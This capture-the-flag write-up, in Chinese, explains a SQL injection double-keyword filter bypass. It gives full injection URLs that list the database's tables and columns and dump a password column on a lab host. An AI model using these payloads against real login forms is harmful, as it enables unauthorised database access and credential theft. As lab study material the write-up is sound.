0x00 知識點
雙寫繞過
簡單測試一下，發現or在登陸過程被過濾，想到使用oorr試試，結果成了？！
最后多測試一下，發現from union select 這些關鍵函數都被替換為空
本題直接進行常規的雙寫繞過。
0x01 解題
查詢數據庫：
http://63617ca2-4ac2-4f57-b718-79898153f19b.node3.buuoj.cn/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23
查詢數據表
http://63617ca2-4ac2-4f57-b718-79898153f19b.node3.buuoj.cn/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23
查詢列名
http://63617ca2-4ac2-4f57-b718-79898153f19b.node3.buuoj.cn/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D%27b4bsql%27%23
查詢字段名
http://63617ca2-4ac2-4f57-b718-79898153f19b.node3.buuoj.cn/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23
得到flag.